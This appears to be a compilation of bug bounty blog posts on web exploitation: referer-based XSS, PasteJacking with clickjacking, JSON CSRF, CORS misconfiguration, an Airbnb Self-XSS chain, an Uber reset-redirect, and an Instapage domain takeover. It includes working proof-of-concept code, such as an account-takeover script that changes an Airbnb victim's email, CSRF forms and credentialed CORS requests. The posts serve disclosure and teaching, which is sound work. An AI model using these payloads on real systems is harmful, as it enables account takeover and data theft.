referer-xss

Exploiting unusual Referer based XSS

Hello Everyone,

I’m writing this after a long break. This post is about how one can exploit referer based XSS using JavaScript based redirection, this is not something new but not found enough resources when I was looking to exploit something similar in the past so thought to summarise quickly and share it with everyone.

What is referer based XSS?

Like any other reflection based XSS where Referer value gets reflected into response body without any sanitization, this happens when a web application makes use of referer value for any feature/tracking, etc.

Note:- By default browsers encode referer URLs, so this only applies where application make use of URLdecoded referer URL.

Here is how vulnerable page looks like:-

http://p0c.geekboy.ninja/rxss-demo.php

How to exploit?

To control the referer header, one can make a redirection from the controlled page and append the XSS payloads in the URI, here is the hosted version of POC in action.

http://p0c.geekboy.ninja/rxss.php/<svg/onload=alert(document.domain)>?target=http://p0c.geekboy.ninja/rxss-demo.php

Source code:-

<?php header('X-XSS-Protection: 0'); ?>
<!DOCTYPE html>
<html>
<head>
<title>Referer based XSS testing</title>
</head>
<body>
<script>window.location.replace('<?php echo $_GET['target']; ?>');</script>
</body>
</html>

Feel free to host it for your self or use the hosted version, now go back and check if you missed any XSS in a similar scenario.

Resources:-

https://www.gremwell.com/exploiting_xss_in_referer_header
https://medium.com/@arbazhussain/referer-based-xss-52aeff7b09e7

Happy Hacking!

Cross Site Scripting for Fun: PasteJacking

Hi Everyone,

A few weeks ago I found an issue which initially looks like unexploitable, it was Self XSS again, this time in Search Box where users can search for books/documents, XSS get triggered once we type/paste our payload in search box via Applications AutoSuggestion feature, but once search get completed it gets blocked by WAF at the backend, so only way to trigger XSS was AutoSuggestion feature which only can be done by user himself, so we cant do anything fancy here like THIS.

Possible Exploitation?

Chaining this with ClickJacking, Right? I was lucky enough as the application had a strange behavior where they set X-Frame-Options for the non-authenticated users but not for authenticated users.

TIP: Look for those headers on every part of the application.

So I checked all the possible and more convening ways to chain this, and here are some ways we can do it.

  • Copy Paste
  • Drag and Drop
  • PasteJacking

Copy Paste:

In this, we simply ask the victim to copy paste the payload from our hosted page to framed page, which is not quite convincing.

Drag and Drop:

In this, we can hide our payload behind images or anything are convince the victim to drag and drop the object to the framed page, which is good vector indeed but didn’t work in my case, as typing or pasting is the only way to trigger the XSS.

Reference:

  1. http://c0rni3sm.blogspot.in/2016/04/drag-drop-xss-in-google.html
  2. https://vishwarajbhattrai.wordpress.com/2016/02/04/exploiting-self-xss/
  3. Python script to generate POC for Drag and Drop XSS.

PasteJacking

This is what I used to for my submission which is quite convincing for me, here we can control the clipboard of victim via JavaScirpt, and once he copied the object which can be anything, the attacker can set anything on the clipboard of the victim, so I used to set as XSS payload.

Reference:

1. https://github.com/dxa4481/Pastejacking

So I decided to choose PasteJacking to exploit this Self-XSS and this how it looks like

 

TIP: You can use: http://samy.pl/quickjack/quickjack.html for framing/slicing desired section of the page.

Poc Code:

<html>
<title>ClickJacking Lottery Game POC</title>
<body><center>
<h1>ClickJacking Lottery Game</h1>

<b><p>Can you copy me ?</p><b>
<script>
function copyTextToClipboard(text) {
var textArea = document.createElement("textarea");

//
// *** This styling is an extra step which is likely not required. ***
//
// Why is it here? To ensure:
// 1. the element is able to have focus and selection.
// 2. if element was to flash render it has minimal visual impact.
// 3. less flakyness with selection and copying which **might** occur if
// the textarea element is not visible.
//
// The likelihood is the element won't even render, not even a flash,
// so some of these are just precautions. However in IE the element
// is visible whilst the popup box asking the user for permission for
// the web page to copy to the clipboard.
//

// Place in top-left corner of screen regardless of scroll position.
textArea.style.position = 'fixed';
textArea.style.top = 0;
textArea.style.left = 0;

// Ensure it has a small width and height. Setting to 1px / 1em
// doesn't work as this gives a negative w/h on some browsers.
textArea.style.width = '2em';
textArea.style.height = '2em';

// We don't need padding, reducing the size if it does flash render.
textArea.style.padding = 0;

// Clean up any borders.
textArea.style.border = 'none';
textArea.style.outline = 'none';
textArea.style.boxShadow = 'none';

// Avoid flash of white box if rendered for any reason.
textArea.style.background = 'transparent';


textArea.value = text;

document.body.appendChild(textArea);

textArea.select();

try {
var successful = document.execCommand('copy');
var msg = successful ? 'successful' : 'unsuccessful';
console.log('Copying text command was ' + msg);
} catch (err) {
console.log('Oops, unable to copy');
}

document.body.removeChild(textArea);
}

document.addEventListener('keydown', function(event) {
var ms = 100;
var start = new Date().getTime();
var end = start;
while(end < start + ms) {
end = new Date().getTime();
}
copyTextToClipboard('<img src=x onerror=confirm(document.domain)>');
});

</script>


<script>function t(e){window.setTimeout("stop();",10);}window.onbeforeunload=t;var frames=new Array();</script>
<div qjid="quickjack" style="overflow: hidden; width: 304px; height: 38px; position: relative;" id="cksl6">
<iframe name="cksl7" src="https://www.target.com/home" style="border: 0pt none ; left: -875px; top: -8px; position: absolute; width: 1920px; height: 971px;" scrolling="no"></iframe></div>
&#8593; &#8593; &#8593; &#8593; &#8593; &#8593; <br><br>
<b>Paste here to WIN :) <b>

Limitations:

For exploiting issues similar to this, the application should be vulnerable for the ClickJacking.

Do let me know in comments if you exploited similar issues in more interesting ways, for any query comment or twitter it, and yes don’t copy paste blindly anything from the internet.

 

Exploiting JSON Cross Site Request Forgery (CSRF) using Flash

Update 2:

For the Case 1, there is possibility in some cases where server reject the request due to extra padding of data, but there is another and best way, using fetch or XHR request we can submit the json formatted data without any limitations, added poc code for the same.

Thanks to Prakash for making me aware of this.

Update 1:

Great work by Evgeniy who edited and compiled the Flash file in a way where users can pass all the information including JSON data, php file & target endpoint via URL parameter, which not only make all those complex procedures simpler but also remove the hectic task to recompilation of flash file each time for the Case 2.

Here is the the updated flash and other files by Evgeniy.


Hello Friends!

Everyone knows about basic csrf attack, if not just go through this owasp page and burp engagement tools have easiest option to create csrf proof of concept for all kind of basic csrf attack including performing csrf via xhr request.

in this post i’m going to talk about csrf scenarios which i encountered many times and seen many researchers from community are curious about it, so i will try clear as much possible!

so this trick comes into play when post request data formatted into json format, eg: {“name”:”test”, “email”:”victim.com”}, which have 2 scenario.

Case 1:

  • Server looking for json formatted data but don’t validate the Content-type

Case 2:

  • Server looking for json formatted data and validate the Content-type as well, i.e application/json

Note: This csrf attack only works when the application do only rely either on json formatted data or Content-type application/json, and data format check, if there is any additional csrf token/referer check at place this will not work.


Exploiting Case 1:

This can be achieved with little HTML trick using name attribute with padding some extra data, simply can be done using Fetch request, as we know in this case server is only checking for the post data if it’s correctly formatted or not, if yes it will accept the request regardless the Content-type is set as text/plain

Now assume we have to submit this test data to the vulnerable application: {“name”:”attacker”,”email”:”attacker@gmail.com”}

Updated method: 

<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>

Source: http://research.rootme.in/forging-content-type-header-with-flash

Old Method: 

<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>

This will make post request with valid json formatted data with padding some extra data, if the application don’t care about extra data which happened in most of cases i seen. if not, there is always 2nd way to use.

Source: http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html


Exploiting Case 2:

Here even if application is validating the Content-type and data format, this attack can be achieved using flash and 307 redirect.

Requirements:

  1. Crafted Flash file
  2. Crossdomain XML file
  3. PHP file with 307 status code

 

Crafted Flash file:

This flash (.swf) file have our json formatted data which attacker have to post on the target application, and link to hosted php file in it.

Here is the test SWF file, you can download and edit the contents as per your need, i do use FFDec on Windows for editing and compiling the flash file, you can check others based on your environment.

Crossdomain XML file:

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
This file should be hosted on attackers website’s root directory, so flash file can make request to attacker’s host.
Note: You don’t need crossdomain file if  flash file & redirector page is on same domain.

 PHP file with 307 status code:

<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

Flash file request for this php file, this will make 307 redirect to mentioned application endpoint, and as 307 is special redirect which will post the JSON data as well which got received from the flash file to the target endpoint and CSRF will take place successfully.

Here is the public report #44146 by @avlidienbrunn for the same.


Note: As this is based on flash, so flash should be installed in browser to make it work, which is very normal for now but may not be in future.

do let me know if you have any queries in comment section or tweet about it here , and thanks to Parth for the proof reading.

 

 

Exploiting Misconfigured CORS via Wildcard Subdomains

In last post about CORS i explained the cases where and how we can detect the presence of CORS misconfiguration, so this post will cover the one of specific case from them.

So last week while testing one of web application for CORS misconfiguration, i came across a scenario and this is how it looks like:

Request 1#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: https://www.attacker.com
Cookie: <Redacted>
Connection: close

Response 1#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

Request 2#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: http://www.site.com
Cookie: <Redacted>
Connection: close

Response 2#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

Request 3#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: https://test.site.com
Cookie: <Redacted>
Connection: close

Response 3#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

Request 4#

GET /settings HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: <Redacted>
Origin: https://www.site.com.attacker.com
Cookie: <Redacted>
Connection: close

Response 4#

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: User-Agent,Keep-Alive,Content-Type
Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT, HEAD, PATCH
Access-Control-Allow-Origin: https://www.site.com.attacker.com
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Sat, 10 Jun 2017 00:27:22 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT

....
[data]

so from request 1-3 we can see, the ACAO is properly set no matter from what Origin its requested, but in case 4 we can see the anything after domain name site.com is getting reflected back to ACAO header.

So i thought to exploit it, and after bit of confusion and quick tip from James cleared my doubts. so i enabled the wildcard entry for my domain geekboy.ninja.

And idea is of wildcard will work like this, now if i request anything in this manner: https://site.com.geekboy.ninja/exploit.html, it will valid request and exploit.html will be served from domain geekboy.ninja/exploit.html  and other side, Origin will be set as: https://site.com.geekboy.ninja which is the requirement of this case.

And this is how a small misconfiguration allows attacker to bypass the SOP of website.

Takeaways for hackers: check for every variations of Origin header, for dev: use predefined ACAO dynamically.  

 

do let me know if you have any question in comment section.

Exploiting Misconfigured CORS (Cross Origin Resource Sharing)

Hello Friends!

few days before noticed a blog post for exploiting Facebook chat and reading all the chats of users so that made me to interested to know about the issues, and basically it was misconfigured CORS configuration where null origin is allowed with credentials true,  it was not something heard for the 1st time, @albinowax from the portswigger explained it very well in his blog post, so after reading that messenger blog post I went to test for the same issue for some targets where I allowed to test it.

but before that here are some tips about CORS where it can be exploitable from the attacker’s point of view:

  • Poorly implemented, Best case for Attack:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

  • Poorly implemented, Exploitable:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

  • Bad implementation but not exploitable:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

or just

Access-Control-Allow-Origin: *

even this is not good from the development point of view but due to its own rules of CORS if Access-Control-Allow-Origin set to * we don’t get benefit Access-Control-Allow-Credentials: true means no cookie access of the victim.

When you can’t exploit even if above misconfigurations are present:

  • Presence of any custom header in the request which is getting used to authenticate the user.
  • Presence of any unique/authentication/key in the request URI  

I’m not covering basic details about CORS in this post as in earlier blog posts all the details are covered.

I mentioned 3 cases where first two cases are exploitable in that example of 2nd case is Facebook Messenger chat issue which I mentioned in an earlier section of the post, and example of 1st case is mine which I found 2 days before where any arbitrary Origin is allowed and the same Origin get reflected back to Access-Control-Allow-Origin with Credentials set to True, the best way I found to check for CORS issue is using CURL.

eg : curl https://test.victim.com -H "Origin: https://geekboy.ninja" -I and check the response if Origin is reflected in the response or not.

OR if your burp pro user, Burp Active Scan may find this for you, but in this specific case the root URL was not vulnerable when I checked it manually,  curl https://my.target.com -H "Origin: https://geekboy.ninja" -I , the Origin didn’t get reflected but when I requested specific endpoint where all users data getting back into the response curl https://my.target.com/api/web/user -H "Origin: https://geekboy.ninja" -I it reflected back with my host with Credentials set to True and that’s enough to make this work and steal all that data.

HTML Poc code:-

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

And here how it worked 🙂

Sources for better understanding of CORS:

Views/Suggestions/Edits always welcome 🙂

AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2

Hello guys 🙂

so this post is about one of my most interesting find while participating in bug bounty programs, yes interesting as its combination of many issues at AirBnb.

for those who don’t know AirBnb is running public program at HackerOne and i will suggest to participate in their program. 

here is list of issues which i got while doing research and used to escalate it further.

  1. Injecting XSS payload via True-Client-IP header.
  2. Exploiting login/logout CSRF.
  3. Escalating Self Stored XSS to Change victim’s account email. 

let’s go into details ,

Injecting XSS payload via True-Client-IP header:

Airbnb use to track users ip to show them under users security setting to make sure users are aware of via which ip or location his/her account got logged in previously in case of password reuse by others.

it’s good practice to give their users more secure feeling but not if its not implemented very well.

so this how users can see their login history under security setting .

login_track

if you hover your pointer to ?  icon the IP address of source machine will get reflected, so my initial thought is to spoof the source IP  as i heard about it before here.

I come to know i can spoof the IP with any IP using True-Client-IP header with login request, as result we can show any desired IP in login history.

Its good but still not convincing to report as its something we can do with our own account or for others we need password which is obviously not acceptable case.

credit goes to Parth for throwing idea of trying other strings instead of IP with True-Client-IP, so i did and any string get reflected under security setting directly and now we can just think of getting XSS , so i got.

Giving XSS payload instead of any ip with True-Client-IP header did the work.

POST /authenticate HTTP/1.1
Host: www.airbnb.co.in
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: V4$.airbnb.co.in$CpeQjCEtXnk$D7u8JuX39keALZgtvsmD3wr0_unmJBU3hVmj71h0Xlc=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Referer: https://www.airbnb.co.in/
True-Client-IP: <h1>XSS</h1></center><script>alert(document.domain)</script>
Content-Length: 198
Cookie: [REDACTED]
Connection: close

utf8=✓&authenticity_token=[REDACTED]&from=email_login&airlock_id=&email=[REDACTED]&password=[REDACTED]

 

And this is how i manage to get self stored xss under security setting .

Whenever i make request to security page , Self Stored XSS get executed.

xss_airbnb

 

Exploiting login/logout CSRF:

As i noticed there no csrf protection login as well as logout, i can easily make anyone to get logged out from his/her account and get logged into my account and get redirect to security page where XSS will get executed on victim browser.

CSRF Poc Code for the same :

<html>
 <body>
 <center> <br>
 <form action="https://www.airbnb.co.in/authenticate" method="POST">
 <input type="hidden" name="utf8" value="✓" />
 <input type="hidden" name="authenticity_token" value="" />
 <input type="hidden" name="from" value="email_login" />
 <input type="hidden" name="airlock_id" value="" />
 <input type="hidden" name="email" value="attackers@email.com" />
 <input type="hidden" name="password" value="attacker@password" />
 <input type="hidden" name="form_remember_browser" value="yes" />
 <input type="hidden" name="redirect_params" value="https://www.airbnb.co.in/users/security/78323762" />
 <input type="submit" value="XSS ME" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </center>
 </body>
</html>

 

this could be enough to report but still i want to check for if i can escalate further, my thought was to exploit this in victim’s account instead of making victim to logged into my account.

Escalation of  Self Stored XSS to Change victim’s account email:

at AirBnb social logins is also an option for using it, so users can use their Google, Facebook account and i got the way to making this XSS exploitable for users who using Social Login to access AirBnb.

and this can be done in following way :

  • Instead of normal XSS Payload, Injected remote hosted JS.
  • Victim to login into attacker’s account via CSRF
  • Attacker’s Remote Hosted JS will get executed .
  • JS will perform 4 actions in IFrame which are as follows :
    • Victim will logged out from attacker’s account
    • Victim will get logged into his account via Google Sign in
    • Attacker will navigate to page Profile Setting page
    • Attacker will Extract the CSRF Token from source code .
    • Attacker will update the victim email.

looks complex ? but javascript will do it at once, i need to mention some minor things, which helps to making the scenario successful.

X-Frame Header is set to sameorigin , so i was able to make those 4 different request via iframe in context of airbnb host.

Social Login users don’t have password re-authentication while changing the email, and once we changed it, we can reset the account via password reset process.

Making all in One : 

document.body.innerHTML='<html><body><center><h1>Testing :)</h1></center></body></html>';

var profileIframe = document.createElement('iframe');
 profileIframe.setAttribute('src', 'https://www.airbnb.co.in/logout');
 profileIframe.setAttribute('id', 'pi');
 document.body.appendChild(profileIframe);

document.getElementById('pi').onload = function() {
 var profileIframe1 = document.createElement('iframe');
 profileIframe1.setAttribute('src', 'https://www.airbnb.co.in/oauth_connect?from=google_login&service=google');
 profileIframe1.setAttribute('id', 'lo1');
 document.body.appendChild(profileIframe1);

document.getElementById('lo1').onload = function() {
 var profileIframe2 = document.createElement('iframe');
 profileIframe2.setAttribute('src', 'https://www.airbnb.co.in/users/edit');
 profileIframe2.setAttribute('id', 'po');
 document.body.appendChild(profileIframe2);

document.getElementById('po').onload = function() {

var lol = document.getElementById('po').contentWindow.document.body.innerHTML;
var ha = lol.split('"authenticity_token" type="hidden" value="');
var na = ha[1].split('"');

var ha2 = lol.split('https://www.airbnb.co.in/users/edit_verification/');
var na2 = ha2[1].split('"');

var ha22 = lol.split('"user[first_name]" size="30" type="text" value="');
var na22 = ha22[1].split('"');

var ha221 = lol.split('"user[last_name]" size="30" type="text" value="');
var na221 = ha221[1].split('"');

var ha222 = lol.split('"user[email]" size="30" type="text" value="');
var na222 = ha222[1].split('"');


 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "https://www.airbnb.co.in/update/"+na2[0]+"", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 xhr.withCredentials = true;
 var body = "utf8=✓&authenticity_token="+na[0]+"&user[first_name]=Got&user[last_name]=Hacked&user[email]=gothacked@hacker.com&user_id="+na2[0]+"";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i); 
 xhr.send(new Blob([aBody]));
 }
 submitRequest();

}}}

 

Later Airbnb removed the Login History feature from account setting which was root cause of the issue for fixing it.

Video POC :

Conclusion :

  • Sometimes multiple minor flaws can be chained to make impactful attacks, so it’s better to consider these minor issues at 1st place to avoid any big issues later.

escalation must be reminding you something you seen before same as title, here is that awesome write up find by fin1te, credit to him for his writeup to share the idea of escalation & Parth  for helping me with Javascript problems 🙂

do let me know your thoughts about it in comments 🙂 

Starting Bug Bounty ? | Bug Bounty Resources

Hey all 🙂

this post is not about any of my findings, its about resources for the bug bounties for learners, no matter you are starting or experienced, there is always something to learn from others. 

and if you are just starting into bug bounty then surly its going to be helpful post, and some kind of necessary to do as nowadays seen many new guys starting bug bounty by seeing that $$, its good that you want to make $$ from it but before that you should understand the process , quality and report writing which will help you to make more $$, so its better to understand 1st and then go for it.

so here am going to add some links which have lots of info’s, resources, writeups about i was talking before.

apart from this, here is some GitHub projects which maintaining this huge list of categorized writeups, links for blogs of frequent & successful bug hunters.

all the resources are originally shared by HackerOne, BugCrowdJackPhilippeAlphrChan Ngai Long, Dheeraj Joshi

hope it will be useful.

 

Uber | Exploiting Stored URL Redirect in Password Reset Token

Hello Friends !

while trying my luck with Uber i came a cross a wired behaviors in the application which is not very common in today’s world.

i was messing around with password reset token generation of Uber, while requesting for password reset link i appended some known get parameter with password reset request which i was noticed before while checking for URL redirect issues in there oauth implementation.

it was NEXT parameter which is responsible for next URL or page after successful login.

so now come to password reset page, normally Uber password reset page URL looks like : https://login.uber.com/forgot-password , where crafted URL looks like : https://login.uber.com/forgot-password?source=auth&next_url=evil.com .

so once users will request password reset token via crafted link , user will get password reset token and once user set his new password, user will redirected to evil.com.

its a bug but as we know Uber don’t accept URL redirect issue until and unless there is something special, as URL redirect take place while password reset, i need to take advantage of it.

i made a form which looks like same as Uber form which ask for Confirm Password after user sets his New Password which looks like :

pass

i used data: scheme to make sure it looks more legit instead of using any direct URL.

so now the scenario is :

  • Attacker will request password reset token via crafted Link.
  • Let’s assume user reset his password via reset link.
  • User will set & confirm the new password.
  • Attacker will get users new password.

as we can see its not win-win case , still we need to depend on the user if he choose to reset his account or not, but still it may happens and in that situation attacker will get password of users account, so Uber decided to fix it once i reported , and they were very quick to acknowledge the report, i will suggest to participate in Uber bug bounty program .

Here is the Video POC :

HackerOne Report Thread #163067

Hijacking tons of Instapage expired users Domains & Subdomains

Hello all 🙂

so this post is about how I was able to hijack ton’s of domains/subdomains who using Instapage if there service got expired.

What is instapage ?

Instapage is a service that lets you build landing pages for your online marketing and promotion campaigns with ease. It offers features such as A/B Testing, multiple campaign management, easy page building, and a lot more!

it also allows users to map its template on there own domain or subdomains.

How i found it ?

as am one of researchers from HackerOne platform , I was trying to get something on HackerOne itself as I want that Hacking Hackers Badge of my profile.

I found hacker.one is inscope domain list which is one of the officail website of HackerOne, and when I vistied it and seen some error which caught in my eye and after figuring it, I come to know it was Instapage error which occurs when service get expired or domain or subdoamin not linked properly and it takes just few mintues to figurte it out that I can publish my own template to any of misconfigured and expired domains/subdomains of instapage and luckly HackerOne is one of there users.

Instapage error on Hacker.One :

bxwvtem

 

Vulnerable Post Request :

POST /ajax/builder2/publish/2340488 HTTP/1.1
Host: app.instapage.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://app.instapage.com/builder2?id=2340488
Content-Length: 31
Cookie: cookie_value
Connection: close

version=1&url=www.hacker.one

where url parameter value contain vulnerable domains .

Hacker.One domain Takeover : 

insta-0day

 

Here is the Video POC :

and with help of Google dork and error of instapage I found tons of websites are Vulnerable for this and anyone can takeover it with own content on it, I contacted Instapage via HackerOne.

HackerOne fixed it next of report by removing the cname entry pointing to instapage and later Instapage fixed in completely and got confirmation of fix via HackerOne report thread.

Thanks to HackerOne to being a mediator for contacting Instapage and fixing the things in correct way.

HackerOne report thread : #159156